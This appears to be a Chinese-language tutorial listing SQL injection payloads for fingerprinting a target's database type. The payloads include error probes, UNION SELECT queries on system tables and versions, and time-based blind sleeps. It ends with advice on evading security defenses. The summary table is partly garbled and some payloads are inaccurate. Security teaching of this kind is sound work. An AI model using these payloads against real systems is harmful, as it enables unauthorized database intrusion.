目录
根据SQL注入点判断数据库类型通常可以通过以下方法实现,这些方法基于不同数据库系统的特性和语法差异:
1. 错误信息法
- 原理:不同数据库的报错信息会包含特定的关键词。
- 示例:
' OR 1=1 --
- MySQL:可能返回
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version...
- Oracle:可能返回
ORA-00933: SQL command not properly ended
- SQL Server:可能返回
Incorrect syntax near '--'
.
- MySQL:可能返回
2. 字符串连接符
- 原理:不同数据库的字符串连接符不同。
- 示例:
' || 'abc' --
- MySQL:默认不支持
||
(除非启用ANSI
模式),需用CONCAT()
。 - Oracle/SQLite/PostgreSQL:支持
||
。 - SQL Server:使用
+
(如'abc' + 'def'
)。
- MySQL:默认不支持
3. 注释语法
- 原理:不同数据库的注释符号可能不同。
' -- (SQL Server、Oracle、PostgreSQL) ' # (MySQL)
4. 系统表查询
- 原理:不同数据库的系统表名不同。
- 示例:
UNION SELECT table_name FROM information_schema.tables -- (MySQL/PostgreSQL) UNION SELECT table_name FROM all_tables -- (Oracle) UNION SELECT name FROM sysobjects -- (SQL Server)
5. 版本查询函数
- 原理:不同数据库的版本查询语句不同。
- 示例:
UNION SELECT @@version -- (SQL Server/MySQL) UNION SELECT version() -- (PostgreSQL) SELECT banner FROM v$version -- (Oracle)
6. 时间盲注函数
- 原理:不同数据库的延迟函数不同。
- 示例:
'; WAITFOR DELAY '0:0:5' -- (SQL Server) ' OR SLEEP(5) -- (MySQL) ' OR pg_sleep(5) -- (PostgreSQL) ' OR DBMS_LOCK.SLEEP(5) -- (Oracle)
7. 数值函数测试
- 原理:部分函数为某数据库独有。
- 示例:
' AND LEN('abc')=3 -- (SQL Server) ' AND LENGTH('abc')=3 -- (MySQL/PostgreSQL/Oracle)
8. 数据类型转换
- 原理:不同数据库的隐式转换规则不同。
- 示例:
-
' AND 1=CAST('1' AS INT) -- (SQL Server/PostgreSQL) ' AND 1=CAST('1' AS SIGNED) -- (MySQL)
9. 常用端口
- 原理:不同数据库的常用端口不同。
- 示例:
MySQL:3306
Oracle:1521
SQL Server:1433
PostgreSQL:5432
Access:无独立端口,通过ODBC或文件共享访问
10. 网站开发语言
- 原理:不同数据库的常用网站开发语言不同。
- 示例:
MySQL:PHP、Python、Java(常见于LAMP/LNMP架构)
Oracle:Java、.NET(企业级应用常见)
SQL Server:ASP/.NET(微软技术栈)
PostgreSQL:Python、Ruby、Java(GIS、数据分析场景常见)
Access:ASP/ASPX(传统小型应用)
总结表
特征 | MySQL | SQL Server | Oracle | PostgreSQL |
---|---|---|---|---|
字符串连接 | CONCAT() 或 ` | `(ANSI模式) | + | |
注释符 | # 或 --+ | -- | -- | -- 或 /* */ |
版本查询函数 | version() 或 @@version | @@version | SELECT banner FROM v$version | version() |
时间盲注函数 | SLEEP(5) 或 BENCHMARK() | WAITFOR DELAY '0:0:5' | DBMS_LOCK.SLEEP(5) | pg_sleep(5) |
系统表/元数据 | information_schema.TABLES | sysobjects | sys.user_tables 或 v$version | pg_catalog |
特有函数 | IF() | IIF() | TO_CHAR() | CURRENT_DATE |
长度函数 | LENGTH() | LEN() | LENGTH() | LENGTH() |
端口 | 3306 | 1433 | 1521 | 5432 |
开发语言 | PHP/Python/Java | ASP/.NET | Java/.NET | Python/Ruby/Java |
通过结合上述方法,可以快速判断目标数据库类型,从而制定针对性的注入策略。注意实际测试时需谨慎,避免触发安全防护机制。